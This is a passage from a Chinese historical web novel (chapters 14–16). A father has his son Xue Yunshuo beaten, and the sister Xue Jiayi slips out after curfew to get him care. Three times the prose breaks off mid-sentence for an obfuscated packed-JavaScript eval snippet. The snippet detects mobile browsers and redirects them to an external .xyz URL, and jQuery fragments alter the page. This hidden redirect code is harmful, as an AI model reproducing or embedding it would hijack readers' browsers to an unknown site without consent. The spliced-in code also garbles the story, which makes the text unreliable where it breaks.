薛云朔本没有动作，只是余光瞥见她的裙裾后，还是一撩袍角，平静地跪了下去。 他腰杆挺直，即使跪着，也像一杆青松。 薛永年忽觉这个儿子的身影刺眼极了，开口时，原本一直把持着的语气，也带上了薄怒。 “想不起来了？那为父来替你回想。” “昨日正午，望春楼，你私自见那魏祺，是第几次了？” 薛云朔垂着眼，神情冷漠。 约在望春楼见面是第二次，盯梢的话，就不好说有多少次了。 昨天，除却约定好的证据，他还带上了那只摩罗，当着魏祺的面，砸碎在了他的脚边。 碎玉飞溅，魏祺的脸都青了，可他心里仍觉不够。 敢觊觎他的妹妹，送这样龌龊的东西给她……早晚，他会把这些人的眼睛都挖出来。 薛云朔回答的声音无波无澜：“父亲既已知道，又何必再问我。” 这话听得一旁的秦淑月眼皮都跳了起来。 不是吧……她原以为只是丈夫多心，才派人去查一个尚未加冠的儿子的行踪，结果怎么还真是他？ 才多大点的年纪，竟然敢和父亲、和伯府对着干。眼看事情败露，一句分辨的话也不说，也不知是满不在乎，还是有恃无恐。 薛永年唇边勾起了一丝冷嘲，三分薄愠此刻也成了真怒：“真不愧是她的儿子。” 他顿了顿，似乎觉得再说下去都是一种浪费，只抬起手，朝查胜喝令：“押住了，打。” 他倒要看看，流着朱婉仪血的这个儿子，骨头能有多硬。 几句话的功夫，情势急转直下，薛嘉宜甚至还没反应过来父亲为什么忽然发难，便见正堂两侧，真的有手持长棍的家仆走来。 一阵冰冷的穿堂风吹过，她嘴唇微颤，扑通也跪了下去。 明明肩膀都在抖，薛嘉宜却还是膝行过去，昂首替他争辩：“哥哥他就算……就算是去见了那魏公子，这也不能说明……” 薛云朔封冻的神情终于有了变化。 他眉心一跳，没有回头看她，只厉声叱道：“闭嘴——” 薛永年仿佛才看见这个女儿似的，笑了一下。 “身为父亲，我管教子女，还需要讲什么证据，讲什么道理吗？” 他缓步走了下来，居高临下地俯视着跪在冷砖上的兄妹俩，愈加面若寒霜：“架起来，给我打到他服软为止。” 棍棒如雨点般砸下，而薛云朔一声不吭，双膝像是被嵌进了地里，唯有齿关偶尔溢出一两声闷哼。 薛嘉宜的眼眶烧烫，几乎是哭叫着朝薛永年叩首认错：“都是我的错——父亲，是我的错，是我心大不想嫁人，才撺掇哥哥去……都是我的错，你打我吧……我再不敢了……” 可是无人理会。 薛嘉宜死死咬着下唇，收了声，径直扑上去，挡在兄长已经渗出血痕的背上。 家仆吓了一跳，匆忙收势，她无可避免地吃了一杖，而薛云朔身形微晃，正要推开她，却也支撑到了极限，眼前发黑，昏了过去。 未料想得今天会闹得这样大，秦淑月也吓了一跳，赶忙跪下，朝薛永年求情道：“老爷，这……大郎到底还是个孩子，再打下去，真的要出人命了。传出去，于老爷您的官声也无益呀！” 薛永年冷漠的眉间，只在听到“官声”二字时，起了一点微妙的变化。 想到薛云朔那双自始至终，都直勾勾看着他的鹰隼般的瞳眸，薛永年嘲讽般冷笑一声，道：“各自带回去。” 见他松了口，秦淑月还来不及松口气，便听得薛永年继续吩咐道：“这一次，务必让他吃足教训。什么时候不敢忤逆了，什么时候再找郎中。” 若非势单力薄，很多事情只能亲力亲为地去做、无法隐于幕后，他还真未必能查出来。 可那又如何？横竖他不缺儿子。 聪明也好蠢笨也罢，打不服这一身反骨，那这个儿子，他不要了便是。 不知怎的，秦淑月的表情也十分难看了，然而她亦只能低头，婉转称是。 …… 薛嘉宜已经记不清楚，自己是怎么离开正堂的了。 她的脊骨上火辣辣地发紧、发疼，每一呼每一吸都在提醒着她，加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095823|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诸在他身体上的疼痛，是她感受到的百倍、千倍。 然而玉屏把她带回次间后，就关上了门。 想到他还昏着，还被孤零零地丢了回去，身边一个人都没有，薛嘉宜的眼泪又下来了。 她淌着泪，拍门求道：“玉屏姐姐，你放我出去吧，就叫我去看一眼。” 玉屏不敢开门，只道：“一晚上了，大姑娘你也累了，别乱跑了，早些歇息吧。” 眼见哭求无用，薛嘉宜掐着自己的掌心，竭力冷静了下来。 不行的…… 不能这样下去。 那样重的伤，如果不及时医治，就算不死也要落病根。 也许是真的冷静了下来，也许是眼泪已经掉完了，薛嘉宜不哭了。 等到门外没了声音，她从箱笼里翻出了干净的布绢，和一点简单的止血药材，悄悄打开窗，翻了出去。 她学着他的样子，想再翻墙出去，可这堵对他来说不是什么障碍的矮墙，对她来说却难如登天。 她艰难搬来石砖垫脚，可惜爬上去，容易翻下来却难，薛嘉宜只得心一横，闭上眼跳了下去。 脚踝像是崴到了，然而她已经顾不得许多，趔趔趄趄地摸去了西厢。 好在薛家的人口并不多，西厢这边大多是空置的，没有人注意到她。而薛云朔的那个小厮，也不知是溜号了，还是被遣走了，这会儿并不在。 跨进寝屋，闻见这股浓重的血腥气的瞬间，她的眼眶又开始不受控制地发酸了。 薛嘉宜循着窗前森冷的月光走了过去，开口便是哭腔：“哥……” 自听见她的脚步声起，薛云朔便有些朦胧的意识了，眼下听到她在叫他，近乎本能地睁开了眼。 看到他俯卧着，满背都是血痕，薛嘉宜才知道，自己的眼泪根本没有流干。 她把头拧开，不再看他，抹着泪，匆匆忙忙地去点了灯，拿起带来的剪子，走到了他身边。 “哥。我帮你把背上衣服剪开，不然要粘连伤口了。” 薛云朔已经差不多醒了，却没有回应她。 好狼狈。 他把脸彻底埋进了褥子里。 这样子的他，怎么能叫她看见？ 可是感受着身后她细微的动作，他的心里，却渐渐满溢起另一种难以言表的情绪。 他和她，仿佛生来就应该这般，永远交缠着，永远……抵挡在彼此的身前。 她的哭声渐渐停了，全神贯注地替他处理着背后狰狞的伤口。 架在床头的灯不太亮，她凑得很近，连她温热的、湿漉漉的鼻息，他也感受得很清楚。 是抚慰，又或者是折磨？他却有些分不清了。 好在，她怕他痛，尽快结束了清理伤处的过程。 薛嘉宜能感受到他灼然的体温，也能感受到他的状况不对，就要起身道：“不行，光我处理不够。” 她那点医术，连半桶水都算不上。 她抬起手背，揩了一把脸上的泪痕，目光坚定：“哥，你等着我，我一定把郎中找来。” 直到这时，薛云朔才终于抬起些头。 他用很轻的气音开口：“你过来。” 薛嘉宜不明就里地往他身边坐了一些，声音紧张：“很痛吗？” 薛云朔摇了摇头，有些艰难地笑了一下：“再过来一点。” 薛嘉宜不知他要做什么，还是懵懵懂懂地朝他低头，把脸凑了过去。 “哥？”她小小声问。 薛云朔抬起手，轻轻摸了一下她的侧脸，温声道：“没关系，不是很疼。” 14.014 他的抚摸很轻盈，像一片羽毛落在她脸上。 不知是在安抚她，还是安抚他自己。 薛嘉宜湿润的眼睫颤了颤。 她正想捉住兄长发烫的指尖，他却已经放下了。 薛云朔阖上眼帘，轻轻与她说：“我缓一缓，会好的，别怕。” 她素来心软，从前连他处理猎物都不敢看，今天见得这样血腥的伤口，会很害怕吧。 见他闭眼，薛嘉宜心底一慌，也顾不得许多了，慌忙伸手，拍拍他的脸，又捏捏他的耳朵。 “哥，你别睡。”她手足无措地道：“我……我这就去找郎中来，你等我！” 她正要站起时，薛云朔精准无误地握住了她的手腕。 他的声音虽轻，却还平静：“我不会死的。听话，回你房里去。” 这个时候，薛嘉宜能听他的话就见鬼了。 他已经在发热了，她虽医术不精，可也知道，这比外伤更危险。 她坚定地站起道：“哥，我去去就回。” 薛云朔到底没什么力气，扣住她手腕的那只手很快就叫她推了下来。 她最后看他一眼，随即抹抹眼泪，扭头就跑了出去。 阴郁的寝屋内，她的离开带走了最后一抹亮色。薛云朔看着她的背影离开，心一点一点，沉了下去。 来到京城之前，他曾经自信又天真地想，不论如何，他总是能护住她的。 现在，薛云朔发现，他错了，而且是大错特错。 即便凭借一点小聪明，解决掉了她这桩婚事又怎样？没有魏祺，也可以有张祺李祺。只要薛家、只要他们的父亲有意，照旧可以随便给她配个人家。 在严州府时，他还能凭借一点蛮横的孤勇，强硬地挡在她的身前，可在京城这样的富贵膏腴之地，没有权势的他，什么也做不到。 不能这样下去。 他想，他要快一点，成为她的依靠。 …… 已是深秋，冰冷的夜风吹得薛嘉宜的脑子愈加清醒。 她摸着黑，小心翼翼地穿过连通院落的碎石小路，生怕踩出什么动静叫人发现。 她倒不是害怕被人发现会受责罚，只是她要再被关起来的话，就没有人管哥哥了。 眼看就快要摸到角门了，薛嘉宜深吸一口气，猫着腰，正想从花圃穿出去，却忽然听见了有人的脚步声。 她呼吸一紧，还未抬头，便听得一道有些熟悉的女声。 “大晚上的，跑出来做什么！” 是全嬷嬷，她提着灯笼，似乎是巡夜到了这边。 她一面上前，一面尖着嗓子说：“快回你屋里去，叫你父亲知道了，你这不是讨打吗？” 晚间发生的事情，那样大的动静，府里没有不知道的。 薛嘉宜只觉浑身都僵硬了。 全嬷嬷已经拉住了她的衣袖，不由分说地要拽她回去。 她不得不挪动脚步，长睫上又沾了泪：“嬷嬷，我求求您，您就当没看见我，我……真的不行的嬷嬷，我得去请郎中，不然哥哥他真的……” 想到还孤零零在屋里的薛云朔，她的喉咙一哽，竟是说不下去了。 全嬷嬷动作一顿，皱起了眉，似乎还想说什么，良久，还是松开了抓在她袖子上的手。 “角门落了锁，你怎么出去？”全嬷嬷转过身，灯笼的光映在她下半张脸上，衬得她板起的脸愈发冷肃，“跟我来。” …… 薛嘉宜从稍间后、运送菜蔬的小门溜了出去。 打更人的梆子已经敲过了三更，早到了宵禁的时辰。 薛嘉宜有些害怕。 全嬷嬷还能好心放她一马，要是被巡街的武侯捉到了，夜犯宵禁，那她可真完蛋了。 她深吸一口气，努力平复下呼吸，愈发提起了小心。 好在今晚天上有月亮，不算太昏暗，而京城的街巷横平竖直，路也是好找的。 薛嘉宜没有去找医馆或者药行的打算。这么晚了，这些铺面早关门了，不会搭理她。 而且，以今晚薛永年的态度，即使她找来郎中，人家也不会愿意掺和到他们薛家的浑水里来。 君君臣臣父父子子这一套，就是闹到衙门里去也没用。 得找有身份的人帮忙。 薛嘉宜咬了咬唇。 来到京城之后，有身份的人，她只认识一位。 想着受伤的兄长，薛嘉宜鼓起勇气，循着上课时，陈女官所说的她家的方位，沿街摸索了过去。 然而她毕竟没怎么在京城走动过，平时都被拘在家里，没一会儿，便有些迷失方向，不知该往哪个路口走了。 屋漏偏逢连夜雨，就在这时，她听见相邻的街道上，传来了皮靴踩在地上的声音。 这个点，还敢这样堂而皇之地走在街上的，只能是巡夜的武侯。 武侯们再拐个弯儿，就要往她这条街来了。薛嘉宜呼吸一滞，四下望了一望，但沿街的铺面都关了张，没有能藏身的地方。 耳听得足音越来越近，她心在狂跳，却不敢顿足，只得提着裙子，放轻脚步往前跑。 可惜夜太空旷，薛嘉宜甚至已经能听见那几个武侯打诨说笑的声音，然而她距离前面的街口，还有一段距离。 心越跳越快，几乎就要绝望的时候，她抬起头，猛然发现，在斜角那一家客栈的旌幌下，停着一辆朴素的青帷马车。 车上套了匹枣红的马，却没有车夫。 难道说，是有人住店了，但没把车马牵进去？ 薛嘉宜顾不得许多了，咬着牙，心一横，扶着车辕，直直就跳了上去。 浅寐的马儿叫她突然的动作惊动了，蓦地一掸后蹄。 薛嘉宜刚探头钻进车厢，还没来得及站稳，叫这一下晃得后仰，就要栽倒出去。 她本能地想要伸手去抓车帷，然而抬眸看向车内情形的瞬间，她几乎惊叫出声。 有人。 一个身着墨青长衫的青年男子，正倚靠在车厢内。 他本像是在闭目养神，然而此刻，却因她突然的闯入而蓦然睁大了眼睛。 薛嘉宜瞳孔放大，瞬间紧张了起来，抓在车帷上的手无意识一松—— 好在车内这人迅速从错愕中回过了神，起身，拽了她一把。 薛嘉宜勉强站定，整个人陷入了前所未有的局促之中，她不知自己是应该先开口解释还是先赔礼道歉，刚刚的动静，却已经将武侯引来了。 她的心咚咚地跳了起来，还没来得及说什么，便见眼前的青衣男子朝她轻轻摇头，示意她安静。 武侯的脚步声果然越逼越近，“何人胆敢犯禁，出来！” 青衣男子揉了揉还有些惺忪的睡眼，又打了个呵欠，才撩起窗帘一角，闲闲望了出去。 “更深露重，几位巡夜辛苦了。” 看见他长相的瞬间，马车外的武侯立马就换了语气。 “二、二公子？这这这深更半夜的，您怎么在这儿，不在府里休息？” 被唤作二公子的男人弯着眉眼，笑得温和：“与我爹吵架了，这可不，只能出来露宿街头。” 武侯不知他是不是在玩笑，然而顶头上司的家事，他们也不敢过问，打着哈哈就过去了。 薛嘉宜缩着肩膀藏在角落，听着这男子与外头的武侯说话，心跳非但没有平抑，反倒愈发快了。 他定然是有身份的，否则武侯不会这么轻易地放过。 然而她满心惦记着薛云朔，惦记着他身上的伤口、惦记着他还孤零零一人，完全没有心思继续深思下去。 等到武侯们的脚步声离去，薛嘉宜立即便朝面前的青衣男子恭敬一礼，垂着眉眼道： “多谢公子施以援手。不然刚刚，我……就要被以犯禁之名带走了。” 说罢，她又是深深一揖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101223|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 眼见她就要跳下车去，青衣男子却忽然叫住了她。 “等等。”他饶有兴致地反问：“谁许你走了？” 见眼前的小娘子身形一僵，抖着眼睫抬眸看他，青衣男子挑了挑眉，视线缓缓落在她的面颊上。 倒真是生得灵秀，这般满面泪痕，也不显得狼狈，只平白叫人生出许多的保护欲出来。 只是这大晚上的在街上跑，也不知是为了什么，看衣着打扮，别是哪家的姑娘小姐要逃府私奔吧？ 青衣男子心里犯了嘀咕。 “你不和我说清楚，你这般夜奔是为了什么，我是不会放你走的。”他神色认真：“当然，你也不必担心我是恶人，我可以先告诉你，我是谁。” “我姓季，在家中行二，父亲便是如今的京兆尹，所以方才那些武侯，见是我便没有深究。” 薛嘉宜咬了咬唇，思考了一下。 陈筠教她的时候，与她简单说过京中大小各部官员，她知道如今的那位京兆尹，确实是姓季。 她垂着因为泪水洇湿、而不再卷翘的眼睫，低声回道：“我的兄长生病了，他病得很重，我出来给他请郎中。” 这话不能说是全然的真话，但也不是假话。她自觉眼前的男子方才帮了她，她不应该骗他。 季二保持着扬眉的神情，正想再问几句她是谁家的，怎么她哥哥生病，要她一个小娘子跑出来请郎中，想了想，还是没问。 算了。这些高门大户，哪家没点乱七八糟的糟心事？ 他从怀中掏出一枚印信，又从车内翻出张纸条来，往上盖了一章。 “拿着。”季二道：“这是京兆府的印，回来的时候再遇到武侯，你给他们看就是。” 薛嘉宜未料得还有意外之喜，下意识圆睁着眼看向他。 这青衣男子却已经摆出了送客的架势，抱着臂往后靠了靠，道：“去吧去吧，不用再谢了。” 薛嘉宜拿上纸条，却没再谢，而是忸怩地又开口了：“我……我不太认识路。我想请问，季公子，这个……” 季二有些哭笑不得，不过还是给她打起车帘，指了方向。 “你的路没找错，往前再一拐，朝西走，跨一条街就到了。去吧——” …… 有了正确的方向，有了那张纸条，薛嘉宜的心里踏实了许多。 她找到了陈筠的住处，不无忐忑地敲了敲门。 好在门房处有人，听闻她是陈筠的学生，虽然夜已经很深了，还是替她去通传了。 陈筠披衣起来，见薛嘉宜这一脸泪痕，形容也狼狈的样子，几乎被吓了一跳。 听她说清楚情况之后，陈筠皱了皱眉，道：“今夜太晚了，请了医师也进不了你们薛家的门。” 薛嘉宜眼眶里的泪又蓄起来了。 她抬手揩了一把，没有让眼泪掉下来，还是恭恭敬敬地朝陈筠屈膝一礼，道：“我知道了，多谢大人。” “叫什么大人，叫老师。”陈筠往她额前敲了一下：“没说不帮你，你跟我来。” 陈筠带着她，从药箱里取出了一些药葫，一样样拿与她：“这个是金疮药，这个是草乌散，还有这个……这个丸药，你拿回去就给他吃，这个要磨成粉……” 她顿了顿，又道：“明早我便带医师去你家，只说是你最近身体不好，我给你请来调养的，把面子留够。我是外人，既这么说了，你父亲不好驳我面子。你回去也不要和旁的什么人硬碰硬，听见没有？” 薛嘉宜听得这番事无巨细的叮嘱，忍着眼泪，重重点头。 陈筠见她心都快飞出去了，也不耽搁，拍拍她的肩膀，送她走：“平时见你胆小，今晚倒是胆大包天，怎么，不怕武侯给你捉到牢里去？” 薛嘉宜抿了抿有些发干的唇，回话的声音轻细：“老师，我怕的呀。” 可是她更怕，从此偌大的人世间，只剩她一人。 15.015 天刚蒙蒙亮的时候，薛云朔醒了。 他做了一整晚的梦，意识尚还昏沉，感受到手仿佛被谁握着的时候，下意识攥了一下。 掌心传来的触感柔软而真实，不似梦中。 刚睁眼的薛云朔微微一怔，侧目看了下去。 是薛嘉宜。 她趴在床边、枕着自己的胳膊睡着了，而空着的那只手，正紧握着他的手不放。 她应该是倦极，用这样不舒服的姿势，都睡得很沉。 薛云朔垂了垂眼，心情复杂。 少女莹润的鼻尖沾着一缕碎发，正随着她的呼吸而起伏，他斜支起身，刚想抬手替她拂去，感受到他动作的薛嘉宜却突然惊醒，猛地直起了腰。 薛云朔逗留在半空的手滞住了，一时竟不知是该继续往前，还是该收回才好。 薛嘉宜并未察觉他的局促，见他醒了，眼睛蓦然一亮。 她在榻边坐直了，双手合握住他还没来得及收回的手，近乎惊喜地唤道：“哥——你醒了！” 听她唤他，薛云朔眼底原本那些堪称阴翳的颜色，倏而便隐匿了下去。 他低垂眼睑，用一种尽力轻松的语气应了一声：“嗯。” 见他想要坐起，薛嘉宜手忙脚乱地又去扶他：“别，会扯到伤处的。” 薛云朔没听她的。 这会儿醒了，他不允许自己在她面前表现得太狼狈，执意坐了起来。 薛云朔卧着的时候还好，薛嘉宜只能看见他的脊背——那样重的伤，她一时也不可能想到什么别的。 但眼下他坐了起来，即使她慌忙后退几步，又别过了脸，还是无可避免地瞧见了他身前块垒分明的腹肌。 见薛嘉宜几乎是小跳着躲到了帷帐后面，薛云朔本还没反应过来她在躲什么，直到他顺着她猝然收回的视线，低下眼帘…… 他的耳尖，也迅速红了起来。 薛云朔眼疾手快地抓过被子的一角，盖在了自己身前，随即装作若无其事的模样，道：“没什么。我披件衣服吧。” 他的皮肤是浅麦色，夏天的时候，天天跟着老猎户进山打猎，也晒不黑几分，常年遮蔽在衣物之下的腰腹，更是白得分明…… 等等，她在想什么？ 薛嘉宜捂着自己跳得乱七八糟的心口，去拿了衣裳，正要给他，却又皱起了眉，道：“可你的伤……” 天上下刀子，这衣服也得穿。 薛云朔平静地接过，道：“虚披一下，没关系。” 见兄长神色坦然，薛嘉宜心底那一点尴尬倒也很快退去。 雀跃的心情还是占了绝对的上风，她去端了水来，开始和他讲昨晚的事情。 怕他担心，薛嘉宜隐去了差点遇到武侯的枝节不提，只说自己去找了陈女官帮忙，还说再过一会儿，她会带郎中来。 薛云朔静静听着，扣在杯壁上的指骨用力到微微凸起。 昨晚做梦的时候，他心里都在想一件事情。 要怎样，才能快一点护住她。 他原本的打算，是好好进学，考取功名。所以在严州府的时候，即使身处乡间，无有良师，也没有放弃过读书。 但昨晚的事情提醒了他，来不及了。 文无第一武无第二，任凭怎样天资聪颖的才子，在考场上折戟沉沙的也不在少数。 即使一试即中，距离取仕、高升，也还有十万八千里。 他既要尽早展露出自己的价值，那便走不了这条路。 也许……只剩下一条路好走了。 薛云朔思考的时候，脸上没有什么表情，本就冷然的一张清俊面孔，更是显得有些拒人千里之外。 薛嘉宜的话音渐渐停了，不无担心地问道：“是伤口又疼紧了吗？” 薛云朔回过神，没回答，只严肃地看着她。 薛嘉宜叫这眼神看得有些茫然，歪了歪头，“哥？你怎么盯着我看？” 薛云朔瞳底的颜色幽深，移开了视线，却没回答。 他只是在想，老天既然要让她做他的妹妹，又为什么要让他和她一起出生？ 如果他比她更大些，如果他已经拥有了保护她的能力…… 见他不答，薛嘉宜正想追问，虚掩着的寝屋门口，却有人敲了敲门。 她心弦一紧，本能地站了起来。 好在来的还是老熟人。 全嬷嬷绷着个脸，仿佛昨晚什么也没发生过，只公事公办地道：“大姑娘，那位女官已经到前院里了，说是带了郎中来给你瞧病的，你去迎一迎吧。” 算算时间，差不多才解除宵禁，也就是说，陈筠那边得是一早就马不停蹄地出发。 想到这儿，薛嘉宜浅浅的泪窝又有些兜不住了。 她低下脑袋，克制着抽了抽气，随全嬷嬷去了前院。 时辰还早，薛永年还没有去上值。见陈筠来，显然是知道昨晚的事，他的脸色有些不好看。 他眯起眼，目光扫向了堂前看起来温软和顺的女儿，有些阴阳怪气地道：“你们兄妹的感情，倒真是在那泥巴地里，养得极好。” 在这薛家，他向来是令行禁止，是以能趁夜溜出去通风报信的，只能是这个女儿了。 薛嘉宜鼓起勇气，抬起下巴回道：“孝悌之道，难道不应当吗？我与兄长感情好，这并不是错。” 说着，她自己都能听到自己的心跳剧烈了许多。 可想到昨晚，若非继母求情，这个所谓的父亲恐怕真的要发狠打死她的哥哥，她就觉得，没有什么话是不敢说的。 这个时候提“孝悌”，明显就是在嘲讽，薛永年的眉梢急促地一跳。 好在陈筠还在一旁，出来打了圆场。 在进宫侍奉太妃之前，陈筠也是官家小姐，虽说是因为家道中落才进的宫，但是在宫里沉浮十余载，她如今算是给自己挣了体面出来。宗太妃那儿，还惦记着她，时常传她入宫面见，高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105553|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门大户间，她也时常走动。 话茬很快被带了过去。薛永年一贯圆滑，自然不会因为家里的小事，开罪一个能在宫里说得上话的女官。 薛嘉宜自觉开口是在惹麻烦，低下头，一面有些懊恼，一面随陈筠和郎中一道走了。 乍然泛起的怒意消退得很快，薛永年看着这个女儿的背影，眼神里突然多了一些微妙的神色。 他忽然发现，在昨晚之前，他仿佛……很是低估了这双儿女。 —— 陈筠带着郎中，很快来到了西厢。 薛嘉宜跟在后头，脑袋缩得跟鹌鹑似的。陈筠看出了她在局促什么，笑道：“你胆子真是愈发大了，连你父亲都敢顶撞。” 薛嘉宜抿了抿唇，小声道：“不敢了。” 不过见到薛云朔那一身伤之后，陈筠也有些笑不出来了。 父亲打儿子并不稀奇，可是这种打仇人的打法，却还是罕见的。 那薛永年想来也是知道这件事传出去不好听，所以见她来也没说什么。 陈筠按住了薛云朔意欲起来谢礼的动作，示意郎中上前去处理，牵了薛嘉宜出去。 之于皮肉伤，郎中处理得很快，出来后还与陈筠赞道：“昨晚是这小娘子处置的吗？做得还不错，该清理的都清理干净了，否则恐怕已经生了疮疡。” 陈筠往屋内看了一眼，“叫也没叫一声，伤得不重？” 郎中一摆手，道：“怎么不重，是他太能忍了，这样的伤，居然还能醒着。不过再能忍，也是肉体凡胎，恢复还有得熬呢，估计这两夜还会发热，离不了人。” 薛嘉宜竖着耳朵听着，立马道：“我会守着的，您教教我吧。” 郎中与陈筠对视一眼，随即拍了拍手，道：“好啊，你跟我来，汤药我还要教你怎么煎，再就是换药的时候……” 陈筠欲言又止了一会儿，但是一想薛家这个情况，恐怕也没有比亲妹妹更妥帖的人了，她叹了口气，什么也没说。 …… 毕竟是薛家，陈筠和郎中是外人，没有久留。 寝屋内只剩下兄妹二人。 秦淑月那边，薛永年应该和她说了些什么，她刚刚派了人，送了些炭火和吃食来。 薛嘉宜把炉子生得旺旺的——在乡下的时候，她常常做这些事情，并不生疏。 薛云朔吃了一副药，比晨起那会儿要好些了，只是面上还是微微发红，看得出还是有些烧着。 见他又要起来，薛嘉宜急道：“不行！郎中方才说了，不好乱动的，会牵扯伤口。” 薛云朔压着眉稍，轻笑了一下，道：“那我只能使唤你了。” 她哼了一声，道：“又没不让你使唤，你说吧，要做什么？” “去拿药油来。” 薛嘉宜依言照做，拿到床边后，薛云朔却袖手不接。 他的视线缓缓下移，落在了她的脚踝上：“你脚崴了，揉一揉吧。” 16.016 随后的日子，兄妹俩就和透明人一般，在薛家待了下去。 一应供给，倒是没短，但西厢末端这两间房，几乎成了禁地一般的存在，没谁再过来了。 薛嘉宜没去揣摩薛家到底是怎么想的，也没有去想以后。 照顾兄长的这段时间，她的心境反倒平和安然不少，恍惚中，她还有一点留恋这样的时刻，就像是留恋从前在乡下，那段相依为命的时光。 “下雪了，哥，你瞧！” 一觉醒来，屋檐上积了些白，空中正飘着些细雪，随寒气一起打着旋儿。 严州府靠南，雪自然少见。凛冬时偶尔飘些雪，也是湿漉漉的，和北方干爽的雪并不相同。 薛嘉宜有些雀跃地跑出去了，然后叫外面的风雪冷得一激灵，缩着脑袋又跑了回来。 她掸了掸刘海儿上沾的雪粒子，扭头，见薛云朔半蹲在箱笼前，似乎在找什么东西，凑过去问道：“哥？” 薛云朔嗯了一声，以作回答。 他毕竟年轻，平时身体也健壮，一个月过去，虽然狰狞的外伤还是会疼会痒，但是已经不影响他正常行动了。 箱笼里，他带来京城的东西，委实不算多。 一把短刀，一柄木剑，换洗的衣物，除了这些，基本上没了。 薛嘉宜蹲在他身边，看了一会儿他找东西，随即眼疾手快地伸出了手，惊奇地拈了条绳子出来。 她“哇”了一声，随即感叹：“你居然还留着，天呐。” 是一条五彩的长命缕。 只是编织者的手艺实在是不太好，再加上丝线都已经褪色，若非这就是她自己做的，还真是认不出来。 薛云朔没料到她这么眼尖，挑了挑眉，朝她摊开手心，道：“还给我。” 薛嘉宜有一点不想还，缩着手道：“好丑呀，我编一条新的给你，好不好？” 这还是她六岁时编的呢！ 太丑了，她有点儿想毁尸灭迹。 薛云朔想也不想便道：“不好。” 眼见他伸手要夺，薛嘉宜还是还他了，嘟囔道：“小气！给新的你都不行？” 薛云朔攥着这条长命缕，轻抬唇角，坦然应承：“对，你有一个小气的哥哥。” 对于有关她的人和事，他一向都很悭吝，做不到、也没想过要大度。 薛云朔正要把褪色的旧物重新收好，低下头，思绪却不自觉流转回了当年—— 他们六岁那年的端午，缠绵病榻的朱婉仪勉力支起身，挟来五色丝线，亲自编了一条长命缕，戴到了自小多病的女儿手上。 小姑娘兴高采烈地跑到兄长面前，本意是想朝他炫耀，看到他空荡荡的腕间时，却扁起了嘴。 她回去，窝在房里好几天，给他也编了一个。 “送给你，哥哥，你也要长命百岁哦。” 那道满是期待的童音仿佛还在耳边，薛云朔想了想，把这条长命缕珍重地收好了，又拿了母亲留下的那块玉佩出来，揣到袖中。 薛嘉宜没注意他的小动作。 炉子上的药已经咕嘟好了，她去端了过来，放到了窗边晾晾。 薛云朔凝眸看着她，心下微沉。 沉寂的这段时日，他想了许多。 前段时间在学塾里，他便听闻西南烟瘴之地战事又起，而澧朝承平日久，兵力不足，四境之下，皆在大举募兵。 读书考举的路太慢，那留给他的，只剩下从军一条了——没有家世，没有背景，这是唯一一条也许还走得通的路。 自己手上有几斤重的本事，他还是清楚的。 可这样，他就要离开京城，把她一个人留在这四面楚歌的薛家了。 薛云朔不能放下心来，于是，又想起了朱婉仪临终前留下的这份遗物。 那间缠绕着病气的寝屋里，最后的情形是怎样的，他记得很清楚。 母亲声色俱厉地要他起誓，无论发生什么，都一定要保护他的妹妹。 那时他心想，不必起誓，他也一定会这样做。 血脉相连、呼吸与共，朝夕相处的十六年，他和她的羁绊，早不是血缘能概述得了的。 可现在回想，薛云朔却也能记起，这块玉佩——朱婉仪是在他起誓之后、确认了他的心志之后，才把它给它的。 往事像罩在迷雾里，他一时也摸不透关窍，但现下没有什么更好的办法了，只好先寄希望于这块玉佩真的有用。 薛云朔把还烫着的药汤一饮而尽，随即起身与薛嘉宜道：“我有些事，要出去一趟。” 薛嘉宜的眉梢挂着不赞同：“你的伤……” 这些时日，一直都是她换的药。她很清楚，他的伤势没有他表现得这样轻。 “没事。”薛云朔云淡风轻地笑笑，道：“等我回来，给你带云片糕。” —— 纷纷扬扬的雪，下得更大了些，落在宫城间的碧瓦红墙上，煞是好看。 陈筠目不斜视地走在宫径上，没有欣赏雪景的心情。 再好看的景，呆个十来年，也该看腻了。 眼见宗太妃所居的庆安宫就要到了，她的脚步却忽然一顿。 陈筠稍侧过身，朝迎面走来的那人见礼：“见过宗将军。” 朝野上下，能被叫做“宗将军”的只有两人，一个是昭武大将军宗甫，另一个，就是他的儿子宗尧之。 眼前这位，便是年轻的那位宗将军，算起来，还是宗太妃的侄儿。 宗尧之步履微顿，还礼后，问道：“太妃这是又传你进宫说话了？” 陈筠微微颔首，惜字如金地回道：“是。” 人老玩性大，宗太妃厌倦了宫里日复一日的生活，想听听宫外的新鲜事。 后宫之中，便是这位宗太妃地位最尊，其实就是想出宫转转，也未尝不可。 